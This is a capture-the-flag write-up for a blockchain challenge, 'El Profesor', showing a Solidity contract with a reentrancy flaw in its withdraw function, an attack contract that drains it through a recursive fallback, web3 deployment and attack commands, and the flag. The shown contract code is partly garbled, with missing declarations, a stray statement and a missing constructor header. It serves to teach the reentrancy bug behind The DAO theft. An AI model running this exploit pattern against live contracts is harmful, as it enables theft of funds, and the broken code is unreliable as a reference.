# El Profesor

• Category: Blockchain
• 1200 Points
• Solved by the JCTF Team

## Description ``````pragma solidity ^0.4.23;
​
library SafeMath {
​
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}

​        uint256 c = a * b;
require(c / a == b);

return c;
}

/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold

return c;
}
​
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;

return c;
}

​    /**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);

​        return c;
}

/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}

​
contract dao {
using SafeMath for uint;
modifier oneWei() {
require(userBalances[msg.sender] >= 1 wei);
_;
}

​   function getUserBalance(address user) constant returns(uint) {
return userBalances[user];
}
uint currentBalance = userBalances[msg.sender];
}
function getBalance() constant returns (uint) {
return this.balance;
}
​
function withdrawBalance() oneWei() {
uint amountToWithdraw = userBalances[msg.sender];
if(amountToWithdraw > this.balance) {
amountToWithdraw = this.balance;
}
if(msg.sender.call.value(amountToWithdraw)() == false) {
return;
}
userBalances[msg.sender] = 0;
}

function() payable {}

}``````

## Solution

The goal is to exploit a reentrancy) vulnerability and drain the contract balance. The same vulnerability was used against The DAO) and resulted in a 50 million dollar theft.

The vulnerable piece of code is:

``````uint amountToWithdraw = userBalances[msg.sender];
if(amountToWithdraw > this.balance) {
amountToWithdraw = this.balance;
}
if(msg.sender.call.value(amountToWithdraw)() == false) {
return;
}
userBalances[msg.sender] = 0;``````

As it is quite evident, the code is vulnerable because the balance zeroing is done after the Ether transfer is performed. When Ether is sent to some address, it may be a contract address and its fallback function will be triggered. In this function it is possible to recursively call the `withdrawBalance()` method again provided that there is enough gas.

So our attack contract looks like:

``````// ...(the original dao contract code)...

contract Attack {
dao target;
int i;
target = dao(a);
}

// donate some Ether to make withdraw accept
function donate() public payable {
i = 2;
}

​function get_balance() public view returns(uint) {
return target.getBalance();
}

​function myBalance() public view returns(uint) {
return target.getUserBalance(this);
}
​

function withdraw() public{
target.call(bytes4(keccak256("withdrawBalance()")));
}

// Make it recursive
function () public payable{
if(i > 1) {
i -= 1;
this.withdraw();
}
}
}``````

The attack will withdraw the donate amount twice and transfer the coins to the attacker address.

We deploy the new contract:

``````var attack_abi = /*[abi-contract]*/;
var attackContract = web3.eth.contract(attack_abi);
var attack = attackContract.new(a,{
data: /*contract_binary*/,
gas: '4700000'
}, function (e, contract){
console.log(e, contract);
if (typeof contract.address !== 'undefined') {
console.log('Contract mined! address: ' + contract.address + ' transactionHash: ' + contract.transactionHash);
}
}
)``````

Then, we attack:

``````var attacker = web3.eth.contract(attack_abi).at(contract.address);
attacker.donate({value:1337000000000000000000});
attacker.withdraw()``````

After that, we check the balance and get the flag: `BSidesTLV{MiSonAlzatoOBellaCiaoBellaCiaoBellaCiaoCiaoCiao!}`